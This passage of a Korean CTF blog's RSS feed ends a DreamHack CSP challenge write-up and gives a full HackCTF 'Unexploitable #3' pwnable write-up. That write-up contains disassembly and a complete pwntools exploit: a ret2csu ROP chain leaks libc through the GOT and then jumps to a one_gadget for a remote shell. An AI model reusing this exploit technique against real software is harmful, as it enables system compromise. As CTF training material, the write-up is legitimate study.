&lt;li&gt;&lt;a href=&quot;https://simjaejin.tistory.com/31&quot;&gt;https://simjaejin.tistory.com/31&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 사이트에 있는&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;script-src deafult-src&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어를 test_page에 넣으니,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4개의 오류 로그를 모두 얻을 수 잇었고, hash값또한 얻을 수있었습니다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;a의 hash
'sha256-P9oV1Sc7O1Di7wEu1Q0fc9Jb2+DopNb6840c7E5XuNY='
b의 hash
'sha256-Pl2V1+QPNtARvuHPfLjHPFJ5rA0Ky2MhOJ8KD2Y0zN8='
c의 hash
'sha256-l1OSKODPRVBa1/91J7WfPisrJ6WCxCRnKFzXaOkpsY4='
j-query 값
'https://code.jquery.com/jquery-3.4.1.slim.min.js'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 아래와 같이 CSP를 허용해 줄 수 있을 것이고,&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;script-src 'self 'sha256-l1OSKODPRVBa1/91J7WfPisrJ6WCxCRnKFzXaOkpsY4=' [https://code.jquery.com/jquery-3.4.1.slim.min.js](https://code.jquery.com/jquery-3.4.1.slim.min.js)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 verify에 입력하게 되면 flag획득이 가능합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;</description>
      <category>WarGame/Web</category>
      <category>DreamHack</category>
      <category>dreamhack.io</category>
      <category>dreamhack.io - file-csp-1</category>
      <category>file-csp-1</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>pwnable.co.kr</category>
      <category>web</category>
      <category>webhacking</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/669</guid>
      <comments>https://m0nday.tistory.com/669#entry669comment</comments>
      <pubDate>Tue, 24 Aug 2021 15:39:22 +0900</pubDate>
    </item>
    <item>
      <title>HackCTF - Unexploitable #3</title>
      <link>https://m0nday.tistory.com/631</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;444&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOZ4rD/btq8a6yXdLl/QgobLGvFnPqEsspysVNZ11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOZ4rD/btq8a6yXdLl/QgobLGvFnPqEsspysVNZ11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOZ4rD/btq8a6yXdLl/QgobLGvFnPqEsspysVNZ11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOZ4rD%2Fbtq8a6yXdLl%2FQgobLGvFnPqEsspysVNZ11%2Fimg.png&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;444&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마 stack 마지막 문제 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후딱 풀어서 ALLCLEAR해야겠다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YbSwx/btq8aB6Dx7t/gUIBSfZqd0GKjFfTsKXDuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YbSwx/btq8aB6Dx7t/gUIBSfZqd0GKjFfTsKXDuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YbSwx/btq8aB6Dx7t/gUIBSfZqd0GKjFfTsKXDuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYbSwx%2Fbtq8aB6Dx7t%2FgUIBSfZqd0GKjFfTsKXDuK%2Fimg.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면 위와 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite(&quot;Impossible RTL ha? Nothing for you!\n&quot;, 1uLL, 36uLL, stdout);
  fgets(s, 256, stdin);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RTC기법을 이용해서 csu를 참고해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 ELF의 CSU구조는 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;.text:00000000004006E0 ; __unwind {
.text:00000000004006E0                 push    r15
.text:00000000004006E2                 push    r14
.text:00000000004006E4                 mov     r15d, edi
.text:00000000004006E7                 push    r13
.text:00000000004006E9                 push    r12
.text:00000000004006EB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004006F2                 push    rbp
.text:00000000004006F3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004006FA                 push    rbx
.text:00000000004006FB                 mov     r14, rsi
.text:00000000004006FE                 mov     r13, rdx
.text:0000000000400701                 sub     rbp, r12
.text:0000000000400704                 sub     rsp, 8
.text:0000000000400708                 sar     rbp, 3
.text:000000000040070C                 call    _init_proc
.text:0000000000400711                 test    rbp, rbp
.text:0000000000400714                 jz      short loc_400736
.text:0000000000400716                 xor     ebx, ebx
.text:0000000000400718                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400720
.text:0000000000400720 loc_400720:                             ; CODE XREF: __libc_csu_init+54&amp;darr;j
.text:0000000000400720                 mov     rdx, r13
.text:0000000000400723                 mov     rsi, r14
.text:0000000000400726                 mov     edi, r15d
.text:0000000000400729                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040072D                 add     rbx, 1
.text:0000000000400731                 cmp     rbx, rbp
.text:0000000000400734                 jnz     short loc_400720
.text:0000000000400736
.text:0000000000400736 loc_400736:                             ; CODE XREF: __libc_csu_init+34&amp;uarr;j
.text:0000000000400736                 add     rsp, 8
.text:000000000040073A                 pop     rbx
.text:000000000040073B                 pop     rbp
.text:000000000040073C                 pop     r12
.text:000000000040073E                 pop     r13
.text:0000000000400740                 pop     r14
.text:0000000000400742                 pop     r15
.text:0000000000400744                 retn&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 코드를 확인하고 인자를 맞춰주면 될 듯하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 fwrite함수를 주었기에 4번째 인자를 세팅해야하는데, 이는 gift함수에서 찾을 수 있다.&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;.text:0000000000400636 gift            proc near
.text:0000000000400636 ; __unwind {
.text:0000000000400636                 push    rbp
.text:0000000000400637                 mov     rbp, rsp
.text:000000000040063A                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400641                 mov     rcx, rax        ; s
.text:0000000000400644                 mov     edx, 17h        ; n
.text:0000000000400649                 mov     esi, 1          ; size
.text:000000000040064E                 mov     edi, offset aUselessGadgetF ; &quot;Useless gadget for you!&quot;
.text:0000000000400653                 call    _fwrite
.text:0000000000400658                 mov     rcx, [rdi]
.text:000000000040065B                 retn
.text:000000000040065B gift            endp ; sp-analysis failed&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stdout을 호출할떄 rdi_ret가젯을 이용해서 이를 rdi에 넣고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 함수에서 0x400653부분을 이용해서 rdi를 rcx에 넣을 수 있기에 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 익스 코드이다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from pwn import *

#r = process(&quot;./Unexploitable_3&quot;)
r = remote(&quot;ctf.j0n9hyun.xyz&quot;, 3034)
e = ELF(&quot;./Unexploitable_3&quot;)
l = ELF(&quot;./libc6_2.23-0ubuntu10_amd64.so&quot;)
one_shot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = &quot;debug&quot;

csu2_add = 0x0000000000400736
csu1_add = 0x0000000000400720

main = e.symbols['main']
fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
__libc_start_main_got = e.got['__libc_start_main']
__libc_start_main_offset = l.sym['__libc_start_main']
fwrite_offset = l.sym['fwrite']
pop_rdi_ret = 0x0000000000400743
mov_rcx_rdi = 0x0000000000400658
stdout = e.got['stdout']


log.info(&quot;main = &quot; + hex(main))
log.info(&quot;fwrite_got = &quot; + hex(fwrite_got))
log.info(&quot;one_shot_offset = &quot; + str(one_shot_offset))
log.info(&quot;stdout = &quot; + hex(stdout))

pay = &quot;&quot;
pay += &quot;A&quot;*0x10
pay += &quot;A&quot;*0x8
pay += p64(pop_rdi_ret)
pay += p64(stdout)
pay += p64(mov_rcx_rdi)
pay += p64(csu2_add)
pay += &quot;A&quot;*8    #add rsp,8
pay += p64(0)   #rbx           
pay += p64(1)   #rbp
pay += p64(fwrite_got) #r12
pay += p64(8)    #mov     rdx, r13
pay += p64(1)    #mov     rsi, r14
pay += p64(__libc_start_main_got)    #mov     edi, r15d
pay += p64(csu1_add)

pay += &quot;A&quot;*8    #dummy
pay += p64(0)           #rbx
pay += p64(0)           #rbp
pay += p64(0)           #r12
pay += p64(0)           #r13
pay += p64(0)           #r14
pay += p64(0)           #r15
pay += p64(main)        #ret
r.recvuntil(&quot;Impossible RTL ha? Nothing for you!\n&quot;)
r.sendline(pay)
sleep(0.1)
__libc_start_main_add = u64(r.recv(8).ljust(8, &quot;\x00&quot;))
libc_base = __libc_start_main_add - __libc_start_main_offset
one_shot_add = libc_base + one_shot_offset[0]
log.info(&quot;__libc_start_main_add : &quot; + hex(__libc_start_main_add))
log.info(&quot;libc_base : &quot; + hex(libc_base))
log.info(&quot;one_shot_add : &quot; + hex(one_shot_add))

r.recvuntil(&quot;Impossible RTL ha? Nothing for you!\n&quot;)
pay = &quot;&quot;
pay += &quot;A&quot;*0x10
pay += &quot;A&quot;*0x8
pay += p64(one_shot_add)
r.sendline(pay)
sleep(0.1)

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익스가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;921&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cel9ct/btq8aOrMheF/owTaawdAQcgScJxd6tKNT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cel9ct/btq8aOrMheF/owTaawdAQcgScJxd6tKNT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cel9ct/btq8aOrMheF/owTaawdAQcgScJxd6tKNT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcel9ct%2Fbtq8aOrMheF%2FowTaawdAQcgScJxd6tKNT0%2Fimg.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;921&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제를 풀면서 얻을 가장 큰 교훈은 아무런 libc_db를 사용하지 말자는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에서 30분만에 풀었지만, libc_db사이트를 이상한 곳을 찾아서 2시간을 소비했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음부터 주의하자..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>WarGame/Pwnable</category>
      <category>HackCTF</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>pwnable</category>
      <category>pwnable.co.kr</category>
      <category>Unexploitable #3</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/631</guid>
      <comments>https://m0nday.tistory.com/631#entry631comment</comments>
      <pubDate>Tue, 10 Aug 2021 21:11:39 +0900</pubDate>
    </item>
  </channel>
</rss>